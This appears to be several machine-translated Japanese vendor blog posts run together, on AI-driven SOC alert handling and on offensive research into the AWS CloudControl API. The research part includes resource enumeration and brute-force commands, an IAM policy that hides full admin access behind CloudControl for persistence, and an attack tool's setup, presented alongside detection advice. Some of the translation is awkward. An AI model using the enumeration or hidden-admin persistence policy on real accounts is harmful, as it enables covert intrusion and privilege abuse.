そのためには、ログだけでなく、ID、構成、コード、ファイル、脅威インテリジェンスも取り込んで相関させるリアルタイムのデータウェアハウスが必要です。このウェアハウスの上に、これらすべてのリアルタイムデータを人間並みの推論で処理できる AI エンジンを稼働させる必要があります。

AI エンジンのアプローチの 1 つは、次のものを構築することです マルチモデル AI エンジン- セマンティック推論、行動分析、大規模言語モデルを組み合わせたパイプライン。セマンティック理解と統計的機械学習は、低レイテンシーのパイプラインを介して大量のデータを処理し、LLM が相互に関連付けて推論しなければならない部分を絞り込みます。 結果:レイテンシーやコストを増大させることなく、大規模で信頼性の高い推論が可能になります。

このアプローチのもう1つの利点は、リアルタイムのデータウェアハウスは、脅威を検出してアラートをトリアージするためのAIエンジンの継続的なトレーニングに不可欠ですが、可視性とフォレンジックのための長期的なウェアハウスとしても使用できることです。これにより、従来のSIEMをはるかに最新のデータプラットフォームに効果的に置き換えることができます。これにより、AI主導のSOCのSIEMレスの未来が実現します。

これによってSOCはどう変わるのでしょうか？

1. 脅威検知 (検知エンジニア)
   ほとんどの組織では、このまれで専門的な役割は、脆弱なルールの作成やUEBAのチューニングから、適応システムの設計にまで発展しています。エンジニアは、個々の指標やシグネチャの検出を行う代わりに、ログ、ID、構成、コードリポジトリ全体でシグナルを継続的に相関させるAI主導のモデルを操作します。焦点は、ルールの作成から、長期にわたって検出の精度を保つための脅威モデリングとフィードバックループに移ります。

2. アラートのトリアージ (SOC アナリスト/ティア1 & 2)
   トリアージは長い間、エンリッチメント、相関関係、ノイズリダクション、IT部門やDevOpsのユーザーによる確認の追跡などによって行われてきました。高度なAIエンジンと人間の監視により、この作業のほとんどを自動化できます。当社のトリアージボット (Exabots) は人間のアナリストと連携して作業し、生産性を劇的に向上させます。時間が経つにつれて、人員配置モデルは変化します。つまり、24時間365日の対応のために大規模なTier-1/Tier-2チームやアウトソーシングされたMSSPへの依存度が低くなり、全体的なコストが下がり、より多くのアラートを検出してトリアージできるようになります。

3. スレット・ハンター
   ハンティングは人間の直感が最も重要ですが、遅いクエリ、断片化されたツール、不完全なデータによって抑制されることがよくあります。最新のデータアーキテクチャと上記の AI エンジンにより、ハンターは、異常を浮き彫りにしてタイムラインを組み立てる自動エージェントの支援を受けて、相関関係のあるコンテキスト豊富な情報をリアルタイムで照会できます。ハンターは、証拠の収集に何時間も費やす代わりに、エージェントに仮説の検証、敵対者エミュレーションの実行、弱いシグナルの創造的追求を行うようプログラムし、事後対応型のケースワークからプロアクティブな防御へと移行します。

これが次に向かう場所

現代のデータアーキテクチャと進化したAIモデルを組み合わせることで、今日のLLMの制限の多くを克服し、エージェントシステムから信頼できる成果を得るために必要な人的監視を徐々に減らすことができると確信しています。これは、大企業規模の予算や人員なしでエンタープライズグレードのセキュリティを提供しなければならない中規模企業にとって最も重要です。適切に行えば、マシンはセキュリティを民主化し、多くの組織がレガシーアーキテクチャとその制約から飛び越えることができるようになります。

つまり、LLMはブレークスルーですが、セキュリティには 改変された脳、 リアルタイムかつ永続的なコンテキスト、決定論的論理、大規模環境での一貫した推論を実現するように構築されています。それが私たちが取り組んでいることです。 エクサフォース。

アナリストの人生は多くの場合、大量のアラートから始まります。攻撃の初期兆候は騒音に埋もれているかもしれませんが、それらの兆候を見つけて必要な点をすべてつなぐのは時間がかかり、イライラすることもあります。

これは検出の失敗ではありません。ほとんどの SIEM とセキュリティツールは疑わしいアクティビティをうまく発見できますが、多くの場合、それを単独で検出します。コンテキストがないと、アナリストは「これは一回限りの出来事なのか、それとも全体像の一部なのか」と疑問に思います。

Exaforceは別のアプローチを取ります。Exabotsは、重複の解消から攻撃チェーンの構築まで、調査結果をインテリジェントに集約することで、アナリストが目にするアラートの数を減らし、より意味のあるものにしています。その結果、疲労が軽減され、より明確になり、より迅速な対応が可能になります。

Exaforceの調査結果は、アラートをトリガーする1つ以上の不審なイベントまたは行動パターンを表しています。これらは、ルートアカウントからの侵害アクティビティやリポジトリの削除などの単純な場合もあれば、認証情報に関連する異常な一連のアクションや、予期しない場所からのログインアクティビティなど、本質的に統計的な場合もあります。複雑な攻撃では、これらの関連アラートを特定して関連付けるのは一見難しい場合があります。さらに重要なのは、リレーションシップのタイプが重要だということです。

• 重複したアラートはありますか?
• 他のアナリストはこのようなことを調査していますか？
• アラートは似ていても区別が取れていないため、全体像を把握するには相関関係が必要なのでしょうか。
• 一見無関係に見えるイベントが侵入の段階として展開する、より広範な攻撃チェーンの一部なのでしょうか？
  

Exaforceは、アラートをインテリジェントにグループ化してノイズを減らし、調査コンテキストを最大化することで、これらすべてのシナリオに対応します。Exabotsは、独自のナレッジモデルを活用して、迅速かつ徹底的かつ一貫した方法でこの集計を行うことでこれを実現しています。これは、管理者や検出エンジニアが同様の効果を得ることを目的とした集計ルールを設定できる従来のSOCツールとは大きく異なります。ただし、これらのルールは構築、保守、既存の検出との重ね合わせが面倒です。

アラートの重複を排除

多くのアラートツールは、アナリストを圧倒する単純なトリガーメカニズムを使用しています。1 つのイベントでアラートを発生させるように設定されている場合もあります。つまり、ユーザーがアラートをトリガーするアクションを繰り返し実行すると、実際には日常的なアクティビティであるものに対してシステムが何十ものアラートを生成する可能性があります。

エクサフォースはこれらを次のように分類しています 複製: ID とタイムスタンプ以外は同一のアラート。Exaforceは、ほぼ同一の多数のエントリでアナリストのキューを煩雑にするのではなく、これらを自動的にグループ化し、1つの脅威検出結果として表示します。検出エンジニアによる設定作業は必要ありません。元のアラートは監査や詳細なレビューのために保存されますが、アナリストにとってはキューがすっきりし、表示も簡潔になります。

この Google セキュリティコマンドセンター (SCC) アラートを例にとってみましょう。これ google.cloud.ResourceManager.v3. Organizations.GetOrganizationこのアクションを頻繁に実行するユーザーによって、API 呼び出しが 79 回行われました。SCC では、このアクションは自動的にアラートをトリガーするように設定されています。そのため、このツールでは単純に 79 件のアラートが生成されました。アナリストにとって、これらの重複したアラートを調査するのはかなり面倒です。Exaforce のアプローチでは、代わりに 1 つのアラートが生成され、79 件の重複したアラートが呼び出されます。重複排除は AI が生成した概要で説明され、必要に応じて個々の重複データも詳細に表示されます。

攻撃チェーンの構築

より複雑な課題は、関連性がないように見えても、実際には攻撃シーケンスのステップにすぎないアラートをリンクさせることです。 アタックチェーン in Exaforceは、ソース、エンティティ、およびタイムフレーム全体で調査結果を相互に関連付ける独自のナレッジモデルを使用して構築されています。

アナリストが複雑なマルチレベル条件を事前に定義しなければならない従来のSIEM相関ルールとは異なり、Exaforceはイベント間の関係を動的に分析します。これには次のようなシナリオが含まれます。

• 複数のユーザーで発生する同様のイベントパターン
• 複数のアカウントまたはサービスにわたる連鎖的な役割の引き受け
• 複数のツールまたはデータソースにわたる同じユーザーによるアクティビティ
  

これらのさまざまな関係を自動的に認識することで、Exaforceは個別のアラートではなく、より高次の攻撃ストーリーを表示します。

管理者ユーザーのアカウントが侵害され、複数のアプリケーション（AWS、Google Workspace）へのアクセスが侵害された例を見てみましょう。Exaforce は個々の攻撃を特定し、それぞれ重大度と優先度で個別に評価し、それらをこの攻撃チェーンにまとめて全体像を伝え、全体的な重大度と優先度を示しました。

場合によっては、関係がそれほど単純ではないことがあります。以下の例では、3 人の異なるユーザーが 2 つの異なるアプリ (GitHub と AWS) で同様の疑わしい動作をしていることがわかりました。個別に評価した結果、これらはそれぞれ重大度が低い誤検出と見なされましたが、状況を考慮すると、この連鎖は確かに調査に値します。

関連調査結果と歴史的調査結果

すべてのアラートを、重複したものにまとめたり、より大きな攻撃ストーリーにまとめたりできるわけではなく、またそうすべきでもありません。一部の検出結果は異なるものの、別のアラートとコンテキストが関連している場合もあります。Exaforceはこれらを「関連結果」として特定して明らかにし、アナリストに必要な背景情報を提供します。これらの関係はExabotsとも共有され、自動トリアージとエンリッチメントの指針となります。

関連する調査結果のサブセットは、すでに分析および評価されている場合があります。Exaforceは、過去の調査結果とその解決策を分析することにより、事前の評価を調査プロセスに組み込んでいます。クローズド調査結果のクロージングノート、推奨事項、評決、さらには調査の経緯までもが、すべて当社のナレッジモデルに取り込まれています。同様のアラートが発生すると、Exabotsはこの履歴を自動的に活用して分析の指針と追加のコンテキストを提供します。アナリストは、このように組織的な知識を体系化することで、繰り返しの労力を省き、時間の経過とともに回答の一貫性を向上させることができるというメリットもあります。

以下は、Exabotの歴史分析の実際の例です。このアラートは実際に見えますが、過去に同様のアラートが誤検知であったため、誤検知として再分類されました。このパターンが観察および説明され、証拠として同様の所見が挙げられています。エクサボットはそれぞれのケースで学び、適応し、改善していきます。

集計が重要な理由

Exabotのアグリゲーション・システムは、SOCのいくつかの主要な課題に対処します。Exabotsは、各アラートセットをインテリジェントに識別、分類、グループ化、評価することで、忠実度の高い分析を自ら行い、そのコンテキストを人間のアナリストに伝えます。

• 重複排除によるアラート負荷の軽減
• コンテキストに富んだグルーピングによる調査の明確性の向上
• 断片的な信号ではなく、攻撃シーケンスをすべて表示することで応答が速くなる
• 集計ロジックをExaforceにオフロードすることで検出の複雑さを軽減
  

Exaforceを使用すると、アナリストはノイズのトリアージに費やす時間を減らし、本当に重要なことへの対応により多くの時間を費やすことができます。 デモを申し込む 実際に見てみるために

Exaforceが2025年のAWSジェネレーティブAIアクセラレーターの第3コホートに選ばれたことを共有できることを嬉しく思います。アマゾンウェブサービス (AWS) が立ち上げたこの権威あるプログラムでは、ジェネレーティブ AI を活用した世界で最も革新的な初期段階のスタートアップ企業を選定し、他の革新的なリーダーたちと成長し、コラボレーションする機会を提供します。

このプログラムには、ジェネレーティブAIの可能性を広げようとしている世界中の40のスタートアップが集まります。今後数か月にわたって、AWS の専門家と協力して技術リソースやビジネスリソースにアクセスし、最終的にはラスベガスで開催される AWS re: Invent 2025 に出展する予定です。

画期的なAIを真のセキュリティ成果に変える

セキュリティチームにとって、リスクはこれ以上ありません。膨大なアラート量、時間のかかる調査、そして脅威を見逃すことは、今でも当たり前のことです。Exaforceの使命は、エージェント型AI SOCを構築することでそれを変えることです。エージェント型AI SOCは、あらゆる企業がエンタープライズグレードのセキュリティ運用にアクセスできるようにし、人員を増やすことなく拡張できるようにする、AIを活用したプラットフォームです。

AWS Generative AI アクセラレータに参加することで、お客様に直接利益をもたらす方法でそのミッションを加速させることができます。AWS インフラストラクチャを使用することで、より信頼性が高く、説明しやすい自動化を SOC ワークフローにすばやく導入できます。AWS チームの指導のもと、世界の大企業で効果があることが実証されている方法で規模を拡大していきます。また、バイオテクノロジーから産業オートメーションまで、さまざまな業界の仲間と協力することで、お客様の SOC をより強力かつ効果的にする最先端のアイデアを適用していきます。

次に期待できること

私たちはこのプログラムを利用して、セキュリティ運用チームにとって最も信頼性が高く効果的なAIの構築にさらに力を入れています。12 月には、AWS re: Invent で進捗状況をライブで共有し、次世代の SOC 自動化の内部を見てみましょう。

ジェネレーティブAIは急速に変化しています。AWS のサポートにより、私たちはさらに速く動いているので、アラート疲れとの戦いに費やす時間を減らし、真に重要な脅威に集中する時間を増やすことができます。

クラウドセキュリティの議論では、「アイデンティティは新しい境界である」ということがよく言われますが、それには正当な理由があります。適切な権限があれば、ほとんどすべてのクラウドリソースを API で管理できます。各プロバイダーには、リソースベースのアクセス制御による API アクセスの処理方法が異なります。特定の API 呼び出しに対する適切な権限が ID に付与されていれば、そのアクションを実行できます。

問題は、特定の情報を取得したり、特定のリソースにアクセスしたりするために必要なすべてのAPI呼び出しを覚えておくのは難しいということです。AWS はこの問題を認識し、AWS CloudControl API を作成しました。これは、さまざまなリソースをグループ化し、一括で作成、更新、削除、取得できるようにする統合 API です。これにより、どのサービス、API コール、またはパラメータを使用するかを知る必要がなくなるため、リソースの管理がはるかに簡単になります。

ただし、ここで問題となるのは、正規のユーザーにとっては簡単なことでも、攻撃者にとっても簡単であるということです。AWS CloudControl API を使用してリソース情報を取得するツールはすでにあり、この手法が注目されています。

しかし、それは実際にはステルス列挙を行うのに良い方法なのでしょうか？この記事では、CloudControl API とは何か、リソース管理を簡素化する方法、攻撃者がそれを武器にする方法、制限事項、検出方法について調べます。例を示すために、Exaforce はビルドしました。 クラウド・コンカーラ、ここで説明した攻撃手法と検出手法の両方を自動化するツールです。

‍

AWS クラウドコントロール API とは何ですか?

AWS クラウドコントロール API は、アカウント内のサービスとリソースの管理を容易にするために AWS が提供する API です。API 実行のサービス、API 呼び出し、入力パラメータを知らなくても作成、読み取り、更新、削除、一覧表示 (CRUD-L) 操作をサポートします。

から クラウドコントロール API の AWS API ドキュメント:「AWS Cloud Control API を使用して、AWS とサードパーティの両方の幅広いサービスに属するクラウドリソースの作成、読み取り、更新、削除、一覧表示 (CRUD-L) を行います。Cloud Control API の標準化されたアプリケーションプログラミングインターフェイス (API) セットを使用すると、AWS アカウント内のサポートされているすべてのリソースで CRUD-L 操作を実行できます。Cloud Control API を使用すると、それらのリソースを担当する各サービスに固有のコードやスクリプトを生成する必要がなくなります。」

また、1 つの統合リソースに基づいてリソースをグループ化し、複数のリソースを統合リソースに関連付けることで、リソース管理にも役立ちます。内部では、以下を使用します。 クラウドフォーメーションスキーマ。たとえば、IAM ユーザーの取得をリクエストすると、次のような形式の情報が返されます。

{
  "Type" : "AWS::IAM::User",
  "Properties" : {
      "Groups" : [ String, ... ],
      "LoginProfile" : LoginProfile,
      "ManagedPolicyArns" : [ String, ... ],
      "Path" : String,
      "PermissionsBoundary" : String,
      "Policies" : [ Policy, ... ],
      "Tags" : [ Tag, ... ],
      "UserName" : String
    }
}

AWS CloudControl では 7 つの API 呼び出しが可能です。そのうちの 5 つは標準の CRUD-L オペレーションです。残りの 2 つはリクエストを一覧表示し、作成、更新、削除の操作の状態を確認するために使用されます。

AWSは以下を維持しています マトリックス AWS CloudControl API でサポートされるすべてのリソースタイプが含まれ、各リソースには CRUD-L オペレーションもサポートされています。現在 1,220 種類のリソースタイプがサポートされており、237 のサービスに分かれています。

AWS CloudControl を攻撃ツールとして使用することの良い点、悪い点、および醜い点

良い点:AWS クラウドコントロールを使用してリソースにアクセスする

AWS クラウドコントロール API は次のような用途に使用されています 攻撃ツール 前。API 自体は AWS リソースのインベントリ取得にも使用できるため、主に列挙に使用されます。あまり使われていないのは、AWS CloudControl API がリソースを変更および更新する機能です。

リソースの取得

AWS CloudControl API を使用すると、リソース名とその設定を簡単に取得できます。通常、従来の AWS API を使用する場合、リソースに関するすべての情報を取得するには複数の API 呼び出しが必要になることがあります。

AWS CloudControl API は CloudFormation スキーマを使用しているため、各リソースには複数のリソースが含まれており、すべてが 1 つの統合リソースにグループ化されています。つまり、AWS IAM ユーザーのスキーマには、ユーザー情報 (ユーザー名、パス、権限境界、タグ)、ログインプロファイル、グループ、ポリシー (添付ポリシーとインラインポリシー) が含まれます。

{
  "Type" : "AWS::IAM::User",
  "Properties" : {
      "Groups" : [ String, ... ],
      "LoginProfile" : LoginProfile,
      "ManagedPolicyArns" : [ String, ... ],
      "Path" : String,
      "PermissionsBoundary" : String,
      "Policies" : [ Policy, ... ],
      "Tags" : [ Tag, ... ],
      "UserName" : String
    }
}

2 つの API 呼び出しにより、リソースの一覧表示または取得が可能になります。 クラウドコントロール:リソースのリスト 指定されたタイプの各リソースを一覧表示します。

$ aws cloudcontrol list-resources --type-name AWS::IAM::User

から返された出力 クラウドコントロール:リソースのリスト は、指定されたリソースタイプのリソース識別子の JSON リストです。

{
    "ResourceDescriptions": [
        {
            "Identifier": "someUser",
            "Properties": "{\\"UserName\\":\\"someUser\\"}"
        }
    ],
    "TypeName": "AWS::IAM::User"
}

これらの識別子は後で渡すことができます クラウドコントロール:リソースを取得 リソースに関する情報を取得します。違いはという点です。 クラウドコントロール:リソースを取得 CloudFormation スキーマとしてフォーマットされた情報を取得できます。

$ aws cloudcontrol get-resource --type-name AWS::IAM::User --identifier <identifier>

列挙手法としては、以下を使用して、特定のリソースタイプの特定のリージョンのすべてのリソースを一覧表示できるということです。 クラウドコントロール:リソースのリスト 次に、ループを使用して情報を取得します クラウドコントロール:リソースを取得。

ブルートフォースによるリソース名の検索

攻撃者は、権限が制限されているために特定のアクションの実行が許可されない状況に陥ることがよくあります。これにより、名前や ID などのリソースの識別子など、一部の情報の取得に影響が出る可能性があります。つまり、攻撃者は他の情報を要求する前に、この情報を入手するための代替方法を見つける必要があります。

ブルートフォースや推測は、このアプローチの優れた代替手段です。アカウント上に存在する可能性のあるリソースのリストを持っている攻撃者は、それらのリソースにアクセスする可能性があります。 クラウドコントロール:リソースを取得 リソースが存在するかどうかを調べます。攻撃者が実行権限を持っている場合 クラウドコントロール:リソースを取得 リソースが存在する場合、ターゲットに関する情報を受け取ります。API 呼び出しを実行するためのアクセス権がない場合は、次の情報を受け取ります。 アクセス拒否 エラー。また、API 呼び出しを実行するアクセス権はあるが、リソースが存在しない場合は、次のメッセージが返されます。 リソースが見つかりませんでした例外。これを知っておくと、引き受けた役割に適切な権限があるかどうか、またリソースが存在するかどうかが明確になります。

リソースへのアクセスを得るためにリソースを改ざんすること

リソースを一覧表示して情報を取得する以外に、AWS CloudControl API には、アカウントのリソースを作成、更新、削除する API 呼び出しが 3 つあります。

• クラウドコントロール:リソースの作成
• クラウドコントロール:リソースの更新
• クラウドコントロール:リソースを削除

リソースの作成と更新に必要な入力は タイプ リソースのうち、リソースタイプに基づいてCloudFormaスキーマから取得された入力パラメータ、およびリソースの削除と更新には、識別子も必要です。

CUD (作成、更新、削除) オペレーションのリクエストがCloudControl APIに送信されると、リクエストはCloudControl APIによって記録されます。を使用する クラウドコントロール:リソースリクエストを一覧表示、失敗した場合のエラーコードを含むリクエストとそのステータス（成功または失敗）を一覧表示できます。列挙機能としては、攻撃者が特定の ID へのアクセス権、組織レベルポリシー (SCP)、作成および更新されたリソースの識別子名に関する情報を取得できるようになるため、役立つことがあります。

悪い点：通話を実行する権限がまだ必要です

私たちの質問の 1 つは、AWS CloudControl API がどのように機能し、どのような権限が必要かということでした。API が CloudControl 固有の権限のみを必要とする場合、未チェックのままにしておくのは非常に危険な API になる可能性があります。

IAM ユーザーを取得しようとするリクエストのイベントを見ると、いくつかのイベントが実行されていることがわかりました。いつ クラウドコントロール:リソースを取得 が実行されると、CloudControl はバックエンドでさらに 7 つの API リクエストを行います。

• IAM: ユーザーを取得 は 2 回実行され、取得する可能性が最も高い ユーザー名、 パス、および [タグ] 1 つのリクエストを使用して 権限境界 2番目を使う。
• IAM: ユーザーポリシーのリスト ユーザーのインラインポリシーを取得するには
• IAM: ユーザーポリシーを取得 ポリシーの内容を取得します。ユーザーに割り当てられたインラインポリシーの数によっては、これが複数回実行される場合があります
• IAM: アタッチされたユーザーポリシーのリスト ユーザーにアタッチされた AWS とカスタム管理ポリシーを取得するには
• IAM: ログインプロファイルの取得 ユーザーが持っているかどうかをお知らせします ログインプロフィール 割り当て済み。つまり、管理コンソールにアクセスできる
• IAM: ユーザーのグループを一覧表示 ユーザーが所属している IAM グループのリストを取得します。

AWS イベントは常に正しく順序付けられるとは限らないことに注意してください。非常に短い時間枠で複数の API 呼び出しが実行されると、イベント履歴の順序が変わることがあります。

つまり、インベントリに必要な情報を提供するイベントは、情報が存在するかどうかに関係なく実行されます。そのため、ステルス状態のままでいることが問題になります。つまり、ターゲットで API コールを実行しようとする攻撃者が検出されるということです。これは、リソースを作成または更新しようとするとさらに問題になり、検出ツールやチームが潜在的な侵害に気付く可能性があります。

壊れたチェーン

しかし、待ってください。呼び出しの実行に問題がありました。AWS が CloudControl API の背後での API 呼び出しを実行する際、IAM ユーザーの認証情報にアクセスできないようにする必要があります。では、彼らはどのように呼び出しを実行しているのでしょうか。行われているリクエストの 1 つを見ると、次のようないくつかのことがわかります。

• の値 送信元 IP アドレス そして ユーザーエージェント に設定されます cloudformation.amazonaws.comつまり、イベントは AWS CloudControl API によってトリガーされます。
• リクエストは IAM ユーザー (ARN で示されているとおり) によって開始されたものですが、次の文字で始まるアクセスキーがあります。 アジア、AWS の一時的な認証情報を示します。で示されているように、セッションはイベントの直前に実行されているようです。 セッションコンテキスト、属性、作成日 と比較して イベントタイム。

{
    "eventVersion": "1.11",
    "userIdentity": {
        "type": "IAMUser",
        "principalId": "AIDA****************",
        "arn": "arn:aws:iam::0123456789012:user/bleonUser",
        "accountId": "0123456789012",
        "accessKeyId": "ASIA4MTWIL**********",
        "userName": "bleonUser",
        "sessionContext": {
            "attributes": {
                "creationDate": "2025-08-15T14:52:54Z",
                "mfaAuthenticated": "false"
            }
        },
        "invokedBy": "cloudformation.amazonaws.com"
    },
    "eventTime": "2025-08-15T14:52:55Z",
    "eventSource": "iam.amazonaws.com",
    "eventName": "ListAttachedUserPolicies",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "cloudformation.amazonaws.com",
    "userAgent": "cloudformation.amazonaws.com",
    "requestParameters": {
        "userName": "bleonUser"
    },
    "responseElements": null,
    "requestID": "00bcc3e5-ed84-4cbb-a8ad-61b252e387bb",
    "eventID": "ced62c58-a981-40b8-9e7c-3666a310e908",
    "readOnly": true,
    "eventType": "AwsApiCall",
    "managementEvent": true,
    "recipientAccountId": "851725277864",
    "eventCategory": "Management"
}

つまり、AWS は ID の一時的な認証情報を生成し、その認証情報を使用して AWS CloudControl API エンドポイントからの残りの呼び出しを実行します。

CloudTrail には、新しい認証情報の生成を示すイベントはありません。実際、AWS CloudControl API に関連するイベントのみを許可するポリシーを作成しても、情報を受け取ろうとする試みが妨げられることはなく、一時的な認証情報を生成したイベントは CloudTrail に表示されません。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "Statement3",
            "Effect": "Allow",
            "Action": [
                "iam:GetUser",
                "iam:ListUserPolicies",
                "iam:GetUserPolicy",
                "iam:ListAttachedUserPolicies",
                "iam:GetLoginProfile",
                "iam:ListGroupsForUser",
                "cloudformation:GetResource"
            ],
            "Resource": [
                "*"
            ]
        }
    ]
}

醜い：1つの権限でチェーン全体が壊れる

最後の質問は、特定の API 呼び出しが失敗した場合はどうなるかということでした。また、API 呼び出しの 1 つで取得できる特定の設定がリソースに含まれていない場合、リクエストはどうなるのでしょうか。

リクエスト元の ID に必要な API 呼び出しを実行する適切な権限があるが、リソースに一部の情報がない場合、出力にはそれらのフィールドは含まれません。たとえば、以下のケースでは、ユーザーが AWS IAM グループに属している場合とグループに属していない場合では、出力に違いが見られます。

# User is part of bleonTestGroup IAM Group
{
  "Path": "/",
  "UserName": "bleonUser",
  "Groups": [
    "bleonTestGroup"
  ],
  "Arn": "arn:aws:iam::0123456789012:user/bleonUser",
  "LoginProfile": {
    "PasswordResetRequired": false
  },
  "Tags": [
    {
      "Value": "Prod",
      "Key": "Deployment"
    }
  ]
}

# User is not part of bleonTestGroup IAM Group
{
  "Path": "/",
  "UserName": "bleonUser",
  "Arn": "arn:aws:iam::0123456789012:user/bleonUser",
  "LoginProfile": {
    "PasswordResetRequired": false
  },
  "Tags": [
    {
      "Value": "Prod",
      "Key": "Deployment"
    }
  ]
}

これは、要求元のユーザーがすべての権限を持っていない場合とは異なります。AWS IAM Cloud Control では、実行中のトランザクション全体で API 呼び出しが失敗すると、リクエスト全体が失敗します。

つまり、攻撃者がユーザーに関する情報を要求したのに、その攻撃者がグループを一覧表示するためのアクセス権を持っていない場合 (IAM: ユーザーのグループを一覧表示) を指定すると、他の情報は攻撃者に返されず、権限がないことを示すエラーコードが返されます。

また、イベントは引き続き実行され、ログに記録されます。つまり、攻撃者は情報を取得したり、必要なタスクを実行したりすることはありませんが、ログに記録されたままになります。

AWS CloudControl API は攻撃ツールとしてどの程度効果的ですか?

AWS CloudControl API には、攻撃者のツールとして多くの制限があります。たとえば、追加の権限が必要なこと、イベントのロギングが必要なこと、なりすましたアイデンティティに適切な権限がないとチェーンが壊れてしまうことです。しかし、これらの制限を適切に使用すれば、高い権限を持つアカウントでもその制限を引き続き利用することができます。以下のポリシーでは、割り当てられた ID のみが CloudControl に関連する API 呼び出しを直接実行できるようにし、それ以外の場合は CloudControl を介してのみ実行されるように制限します (CloudControl API は CloudFormation オペレーションを使用するため、このサービスはCloudControlではなくCloudFormationです)。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "AllowViaCloudFormation",
            "Effect": "Allow",
            "Action": "*",
            "Resource": "*",
            "Condition": {
                "ForAnyValue:StringEquals": {
                    "aws:CalledVia": "cloudformation.amazonaws.com"
                },
                "Bool": {
                    "aws:ViaAWSService": "true"
                }
            }
        },
        {
            "Sid": "DenyDirectAccess",
            "Effect": "Deny",
            "NotAction": [
                "cloudformation:GetResource",
                "cloudformation:GetResourceRequestStatus",
                "cloudformation:ListResourceRequests",
                "cloudformation:ListResources",
                "cloudformation:UpdateResource",
                "cloudformation:DeleteResource",
                "cloudformation:CreateResource",
                "cloudformation:CancelResourceRequest"
            ],
            "Resource": "*",
            "Condition": {
                "Bool": {
                    "aws:ViaAWSService": "false"
                }
            }
        },
        {
            "Sid": "AllowDirectCloudControlAcccess",
            "Effect": "Allow",
            "Action": [
                "cloudformation:GetResource",
                "cloudformation:GetResourceRequestStatus",
                "cloudformation:ListResourceRequests",
                "cloudformation:ListResources",
                "cloudformation:UpdateResource",
                "cloudformation:DeleteResource",
                "cloudformation:CreateResource",
                "cloudformation:CancelResourceRequest"
            ],
            "Resource": "*"
        }
    ]
}

ポリシーシミュレーションでは、すべてのイベントが防止対象として一覧表示されるため、永続性がさらに高まります。

CloudControl で許可されているリクエスト以外のリクエストを実行しようとすると、ポリシーの 2 番目のステートメント () が原因で失敗します。直接アクセスを拒否)。

ただし、CloudControl API を使用して API 呼び出し（任意の CRUD-L オペレーション）を実行しようとすることは許可されます。

このポリシーが割り当てられている ID には管理者アクセス権が付与されますが、通常の非管理者 ID のように見えます。

権限超過ポリシーの検出

このポリシーには 1 つの問題があります。それでもサービスへのアクセス許可は許可されており、AWS CloudControl API を介してそれらをプロキシしているだけです。

IAM ポリシーの作成者を見ると、AWS は CloudControl API を除くすべてのサービスを Explicit Deny として一覧表示します。つまり、ID はそれらのアクセス権限を実行できないということです。

ただし、許可されたサービスのセクションを見ると、すべてのサービスが実際には許可済みとしてマークされていることがわかります。これにより、パーシスタンス手法が検出可能になります。

AWS Simulator と実行されたテストの両方で、この ID のアクセスが拒否されたことが引き続き表示されます。

ポリシーに含まれる条件がわかれば、実際に IAM Policy Simulator を使用して、アカウントに管理者権限があることを証明できます。

クラウド・コンカーラ

この研究は、というオープンソースツールで最高潮に達しました。 クラウド・コンカーラ、4つの部分からなるツールで、この研究で特定されたすべての手法をシミュレーションできます。

• リソースリスト 活用することで クラウドコントロール:リソースのリスト そして クラウドコントロール:リソースを取得
• リソース名ブルートフォース 活用することで クラウドコントロール:リソースを取得
• IAM ユーザーまたはロールの作成による永続化 CloudControl 経由のアクセスのみを許可するインラインポリシーを使用
• クラウドコントロールのリスト アカウント上のイベント

クラウドコンクラーはPythonで構築されており、 インストールは簡単です、ローカルで、またはDockerを活用します。リポジトリを参照して自分で試してみてください。

ツールのインストール

ローカルインストール

CloudConqueror は Python 3 で構築されており、必要なライブラリ (requirements.txt) を含むファイルがツールのメインフォルダ内にあります。仮想環境 (python-venv) を使用してツールをローカルにインストールするか、ライブラリをシステムに直接インストールする場合、必要なインストールは requirements.txt 内にライブラリをインストールすることだけです。

(venv) ~$ python3 -m pip install -r requirements.txt
Requirement already satisfied: boto3 in ./venv/lib/python3.12/site-packages (from -r requirements.txt (line 1)) (1.40.5)
Requirement already satisfied: termcolor in ./venv/lib/python3.12/site-packages (from -r requirements.txt (line 2)) (3.1.0)
Requirement already satisfied: botocore in ./venv/lib/python3.12/site-packages (from -r requirements.txt (line 3)) (1.40.5)
Requirement already satisfied: tabulate in ./venv/lib/python3.12/site-packages (from -r requirements.txt (line 4)) (0.9.0)
Requirement already satisfied: prettytable in ./venv/lib/python3.12/site-packages (from -r requirements.txt (line 5)) (3.16.0)
Requirement already satisfied: jmespath<2.0.0,>=0.7.1 in ./venv/lib/python3.12/site-packages (from boto3->-r requirements.txt (line 1)) (1.0.1)
Requirement already satisfied: s3transfer<0.14.0,>=0.13.0 in ./venv/lib/python3.12/site-packages (from boto3->-r requirements.txt (line 1)) (0.13.1)
Requirement already satisfied: python-dateutil<3.0.0,>=2.1 in ./venv/lib/python3.12/site-packages (from botocore->-r requirements.txt (line 3)) (2.9.0.post0)
Requirement already satisfied: urllib3!=2.2.0,<3,>=1.25.4 in ./venv/lib/python3.12/site-packages (from botocore->-r requirements.txt (line 3)) (2.5.0)
Requirement already satisfied: wcwidth in ./venv/lib/python3.12/site-packages (from prettytable->-r requirements.txt (line 5)) (0.2.13)
Requirement already satisfied: six>=1.5 in ./venv/lib/python3.12/site-packages (from python-dateutil<3.0.0,>=2.1->botocore->-r requirements.txt (line 3)) (1.17.0)

これで、Python を使用してツールを実行できます。

(venv) ~$ python3 CloudConqueror.py -h
---------------------------------------------------------------------------------

   _____ _                 _  _____
  / ____| |               | |/ ____|
 | |    | | ___  _   _  __| | |     ___  _ __   __ _ _   _  ___ _ __ ___  _ __
 | |    | |/ _ \\| | | |/ _` | |    / _ \\| '_ \\ / _` | | | |/ _ \\ '__/ _ \\| '__|
 | |____| | (_) | |_| | (_| | |___| (_) | | | | (_| | |_| |  __/ | | (_) | |
  \\_____|_|\\___/ \\__,_|\\__,_|\\_____\\___/|_| |_|\\__, |\\__,_|\\___|_|  \\___/|_|
                                                  | |
                                                  |_|

---------------------------------------------------------------------------------
                                                  by gl4ssesbo1 @ Exaforce
---------------------------------------------------------------------------------
usage: CloudConqueror.py [-h] {LISTRESOURCES,BRUTEFORCERESOURCES,IAMPERSISTENCE,CHECKUSAGE} ...

CloudConqueror

positional arguments:
  {LISTRESOURCES,BRUTEFORCERESOURCES,IAMPERSISTENCE,CHECKUSAGE}
                        Select the attack to execute on the target
    LISTRESOURCES       Bruteforce AWS Resources by utilizing cloudcontrol:ListResources and cloudcontrol:GetResource
    BRUTEFORCERESOURCES
